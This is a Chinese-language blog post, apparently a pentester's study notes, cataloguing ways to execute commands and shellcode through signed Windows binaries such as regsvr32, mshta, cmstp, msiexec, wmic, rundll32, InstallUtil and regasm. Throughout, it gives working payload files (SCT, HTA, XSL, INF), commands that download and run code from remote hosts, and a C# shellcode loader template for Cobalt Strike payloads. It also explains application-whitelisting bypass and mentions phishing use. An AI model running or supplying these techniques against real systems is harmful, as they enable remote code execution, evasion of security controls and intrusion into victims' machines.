关于windows执行shellcode的方式学习

regsvr32

Regsvr32是什么?

Regsvr32命令用来向系统注册控件或者卸载控件的命令。

1
2
3
4
5
语法:Regsvr32 [/s][/u] [/n] [/i[:cmdline]] <dllname>
· /u:注销服务器;
· /i:调用DllInstall传递一个可选的[cmdline],当它与/u一起使用时,它会调用dll uninstall。
· /n:不要调用DllRegisterServer,此选项必须与/i一起使用
· / s :沉默,不显示消息框;

如何使用regsvr32执行exe?

首先准备一个sct文件放到服务器上,文件内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?XML version="1.0"?>
<scriptlet>

<registration
description="Empire"
progid="Empire"
version="1.00"
classid="{20001111-0000-0000-0000-0000FEEDACDC}"
>
<!-- regsvr32 /s /i"C:\Bypass\Backdoor.sct" scrobj.dll -->
<!-- regsvr32 /s /i:http://server/Backdoor.sct scrobj.dll -->
<!-- That should work over a proxy and SSL/TLS... -->
<!-- Proof Of Concept - Casey Smith @subTee -->
<script language="JScript">
<![CDATA[

var r = new ActiveXObject("WScript.Shell").Run("calc.exe");

]]>
</script>
</registration>

<public>
<method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[

function Exec()
{
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
}

]]>
</script>

</scriptlet>

将这个文件保存好放到服务器上,再通过如下命令加载执行

1
regsvr32 /u /s /i:http://xx.xxx.xx.xxx:8011/test.sct scrobj.dll

image-20200807155737189

MSHTA

什么是MSHTA?

mshta是一个可以用来执行hta文件的命令

1
mshta http://xxx.xxx.xxx.xxx:801/download/file.ext

hta文件内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<HTML> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>

image-20200806202058071

Control

控制面板就不用多讲了,直接看如何通过control去执行命令,首先将如下的内容编译为dll

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include "stdafx.h"
#include <windows.h>

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("cmd.exe /c calc", SW_SHOW);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

将生成的dll文件重命名为cpl,通过下面的命令执行cpl文件,加载cpl文件需要使用绝对路径

1
control.exe c:\xxxx\xxxxxxx\xxxxx.cpl

image-20200806203405876

也可以通过其他的方式加载执行

1
2
rundll32.exe shell32.dll,Control_RunDLL  C:\xx\xxxx\xxx\Dll4.cpl
rundll32.exe shell32.dll,Control_RunDLLAsUser C:\Users\jerry\Desktop\Dll4.cpl

image-20200806210718338

CMSTP

CMSTP是一个与Microsoft连接管理器配置文件安装程序关联的二进制文件。它接受INF文件,这些文件可以通过恶意命令武器化,以脚本(SCT)和DLL的形式执行任意代码。

如何使用cmstp执行sct脚本?

首先将我们准备好的sct文件上传到web上,再编写inf文件去加载远程的sct文件,inf文件内容如下

1
2
3
4
5
6
7
8
9
10
11
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,http://10.0.0.2/tmp/powersct.sct
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"

使用cmst调用inf脚本加载远程sct文件

1
cmstp.exe /s xxx.inf

image-20200807163918589

msiexec

msiexec是什么?

msiexec是一个windows系统自带的命令,可以用来安装Windows Installer安装包(MSI)

如何制作msi文件?

我们知道msiexec只能执行msi文件,所以我们有必要了解msi文件该如何制作

首先可以使用msf制作msi

1
msfvenom -p windows/exec CMD=cmd.exe -f msi > cmd.msi

image-20200807154506118

使用Advanced Installer制作msi文件,首先创建一个工程,创建好以后界面如下:

image-20200807160241692

找到用户自定义行为,加载文件,配置加载cmd文件

image-20200807160620661

还需要在生成的时候进行设置,设置后build即可生成一个msi文件

image-20200807162456780

安装后我们的命令就会被执行

image-20200807162547512

如何使用msiexec执行?

方法一:直接双击执行

image-20200807154634996

方法二: 加载本地文件

1
msiexec  /q   /i test.msi

image-20200807154717522

方法三:远程加载

1
msiexec /q /i http://192.168.0.107/cmd.msi

image-20200807155239472

forfiles

forfiles可以选择文件并在其上运行命令。

1
forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe

image-20200807165115936

wmic

首先准备一个xsl文件,文件内容如下

1
2
3
4
5
6
7
8
9
10
11
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc");
]]> </ms:script>
</stylesheet>

将这个文件上传到web服务器上,再通过下面的命令加载执行,地址那需要加双引号,否则会有异常

1
wmic process get brief /format:"http://192.168.0.107:8080/launcher.xsl"

image-20200807171443469

Msxsl

msxsl虽然可以加载远程的文件执行,但是它不是windows自带的,需要去下载,好在这个文件本身也不大,就20k的样子,可以直接传给目标主机。

通过如下方式执行xsl

1
msxsl.exe http://xxx.xxx.xxx.xxx:8011/test.xsl  http://xx.xxx.xx.xx:8011/test.xsl

image-20200807172754499

msbuild

使用msbuild可以编译xml c#的项目文件,msbuild.exe并不在windows的环境变量中,因此需要绝对路径进行加载。

如何使用msbuild执行?

首先我们准备一个xml的模板,下载好后使用cs生成一个c#的shellcode,对xml中执行shellcode部分的内容进行替换,使用如下命令加载xml文件

1
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe 1.xml

image-20200807175852058

CSC+Installutil

csc是一个C#的命令行编译工具,可以用来编译.cs文件。

Installer工具是一个命令行实用程序,允许您通过执行指定程序集中的安装程序组件来安装和卸载服务器资源。

如何利用?

首先使用CS生成一个c#的shellcode,将生成的shellcode文件插入到InstallUtil-Shellcode-cs这个模板中,使用如下命令进行编译

1
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:C:\Users\admin\Desktop\xxxx\SharpCat.exe  /unsafe C:\Users\admin\Desktop\xxx\InstallUtil-Shellcode.cs

image-20200810170200605

将生成的exe上传到目标主机,使用如下命令进行加载执行

1
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U SharpCat.exe

image-20200810170509058

image-20200810170531338

PsExec

微软于2006年7月收购sysinternals公司,PsExec是SysinternalsSuite的小工具之一,是一种轻量级的telnet替代品,允许在其他系统上执行进程,完成控制台应用程序的完全交互,而无需手动安装客户端软件,并且可以获得与控制台应用程序相当的完全交互性。

1
PsExec.exe -accepteula -d -s msiexec.exe /q /i http://xxx:999/cmd.msi

image-20200810171425659

WSC

什么是WSC?

Windows Script Components (WSC),以前称为Scriplets,是一种以容易的方式开发强大的COM组件的技术。 WSC可以用任何实现了ActiveX脚本接口的脚本语言来编写,这意味着PerlScript代码单元可以封装为Windows脚本组件。

怎么使用WSC执行命令?

首先我们创建一个wsc文件,文件内容如下:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>    
<package>
<component id="testCalc">
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</component>
</package>

再创建一个js文件,文件内容如下

1
GetObject("script:C:\\Users\\jerry\\Desktop\\test666.wsc");

最后通过csript 1.js执行命令

image-20200804170202844

也可以将WSC文件挂载到远程,修改1.js中的内容,也可以执行命令

1
GetObject("script:http://xxx.xxx.xx.xx:xxx/test666");

IEExec(利用失败)

IEExec是一个Microsoft二进制文件,它是.NET Framework(v2.0.50727)的一部分,并且能够通过指定URL运行在远程目标上托管的应用程序。由于IEExec是Microsoft受信任的实用程序,因此攻击者可以绕过AppLocker和其他应用程序白名单解决方案来运行可执行文件。

使用这种方式首先要禁用代码访问策略,允许执行.net代码,使用管理员权限运行如下命令

1
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe  -s off

CasPol.exe文件在有些win10中和win2012中没有在v2.2.50727目录下,在v4.0.30319目录下,但是这个里面的CasPol没有-s参数。

使用CS生成一个C#的shellcode并放到如下的执行模板中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
using System;
using System.Runtime.InteropServices;
namespace testIEexec
{
class Program
{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
private static UInt32 MEM_RELEASE = 0x8000;
public static void Main(string[] args)
{
// 替换下面数组中的内容
byte[] proc = new byte[894] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00,............. };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)proc.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(proc, 0, (IntPtr)(funcAddr), proc.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
PROCESSOR_INFO info = new PROCESSOR_INFO();
IntPtr pinfo = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(PROCESSOR_INFO)));
Marshal.StructureToPtr(info, pinfo, false);
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
// retrive data
info = (PROCESSOR_INFO)Marshal.PtrToStructure(pinfo, typeof(PROCESSOR_INFO));
Marshal.FreeHGlobal(pinfo);
CloseHandle(hThread);
VirtualFree((IntPtr)funcAddr, 0, MEM_RELEASE);
}
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32")]
private static extern bool CloseHandle(IntPtr handle);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32")]
private static extern IntPtr GetModuleHandle(string moduleName);
[DllImport("kernel32")]
private static extern UInt32 GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
private static extern UInt32 LoadLibrary(string lpFileName);
[DllImport("kernel32")]
private static extern UInt32 GetLastError();
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESSOR_INFO
{
public UInt32 dwMax;
public UInt32 id0;
public UInt32 id1;
public UInt32 id2;
public UInt32 dwStandard;
public UInt32 dwFeature;
// if AMD
public UInt32 dwExt;
}
}
}

将该文件编译为exe,并且放到web上,使用如下命令进行加载

1
C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe http://xxx.xxx.xx.xx:803/test.exe

这里我测试虽然请求了远程的地址,但是并没有上线,原因未知,这种方式比较鸡肋,因为我在其他的windows10和2012中没有找到ieexec.exe这个文件。

image-20200810140930599

rundll32

Rundll32.exe是指“执行32位的DLL文件”。它的作用是执行DLL文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。

可以使用下面的方式执行本地exe文件

1
2
3
rundll32.exe url.dll,OpenURL calc.exe
rundll32.exe url.dll,FileProtocolHandler calc.exe
rundll32.exe zipfldr.dll, RouteTheCall calc.exe

image-20200810142457880

除了直接加载exe,也可以通过如下方式加载。

首先编写一个.url文件,文件内容如下:

1
2
[InternetShortcut]
URL=c:\windows\system32\calc.exe

使用rundll32加载url文件执行exe

1
rundll32.exe ieframe.dll,OpenURL  C:\Users\jerry\Desktop\test.url

image-20200810145839888

如何使用rundll32执行其他脚本?

加载js文件

首先准备一个js文件,内容如下:

1
WScript.Echo("1");

使用rundll32加载js文件

1
rundll32.exe url.dll,OpenURL C:\Users\jerry\Desktop\test.js

image-20200810150344638

加载hta文件

准备一个hta文件,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<HTML> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>

使用如下命令加载hta文件

1
rundll32.exe url.dll,OpenURLA  C:\Users\jerry\Desktop\test.hta

如何使用rundll32加载远程文件?

通过调用WScript.shell组件加载mshta.exe远程加载exe命令执行

1
rundll32 javascript:"\..\mshtml,RunHTMLApplication ";new%20ActiveXObject("WScript.Shell").Run("C:/Windows/System32/mshta.exe http://xxx.xxx.xxx.xxx:8011/test.hta",0,true);self.close();

image-20200810151759209

pubprn.vbs(利用失败)

我在windows10下测试,命令如下,提示找不到路径

1
C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:http://xxxx:8011/test.sct

image-20200810155430373

在2012中进行测试,发现虽然会可以找到这个路径进行加载,但是不会执行sct文件。

Odbcconf

ODBCCONF.exe是一个命令行工具,它允许您配置ODBC驱动程序和数据源名称,可能在以后的版本会删除,可以使用PowerShell命令来管理驱动程序和数据源。使用ODBCCONF可以加载任意的dll文件

首先准备一个dll文件,使用如下命令进行加载

1
odbcconf.exe /a {regsvr C:\shell.dll}

image-20200810161025395

需要注意生成的dll文件要和系统的版本对应,否则执行会报错

winrm

winrm.vbs(一个位于system32目录下的具有Windows签名的脚本文件)可以被用来调用用户定义的XSL文件,从而导致任意的、没有签名的代码执行。

如何利用winrm执行?

首先创建一个目录,并且将cscript.exe复制到这个目录下

1
copy c:\Windows\System32\cscript.exe xxx

准备一个WsmPty.xsl文件,也放到该目录下,文件内容如下:

1
2
3
4
5
6
7
8
9
10
11
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc");
]]> </ms:script>
</stylesheet>

使用如下命令运行

1
cscript.exe //nologo C:\Windows\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

image-20200810164336074

regasm

RegAsm读取程序集中的元数据,并将所需项添加到注册表中。注册表允许 COM 客户端以透明方式创建 .NET Framework 类。 在注册一个类之后,任何 COM 客户端都可以像使用 COM 类一样使用它。 类仅在安装程序集时注册一次。 只有实际注册程序集中的类实例之后才能从 COM 中创建它们。

如何利用?

首先使用CS生成一个C#的shellcode,将shellcode插入到文章提供的模板中,使用如下命令编译运行

1
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:test.dll regasm.cs

将生成的dll放置到目标主机上,使用下面的命令加载执行

1
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /U test.dll

image-20200810172923452

image-20200810172937554

Pcalua

Pcalua是Windows进程兼容性助理(Program Compatibility Assistant)的一个组件。

如何使用?

1
Pcalua -m -a calc.exe

image-20200810182402572

总结

通过上面的学习,我们可以发现在windows下能执行文件的方式挺多的,但是我们稍微区分一下可以根据是否可以远程加载文件进行区分,可以加载远程文件的方式可以对钓鱼提供某种便利

支持远程加载

  • regsvr32
  • MSHTA
  • CMSTP
  • msiexec
  • wmic
  • msxsl
  • WSC
  • rundll32(通过调用其他方式远程加载)

参考

pentestlab

ired

渗透测试中心

专注 APT 攻击与防御

【免杀篇】远控免杀专题(46)-白名单IEexec.exe执行payload(VT免杀率25-69)

关于利用rundll32执行程序的分析

白名单-RegAsm/RegSvcs的利用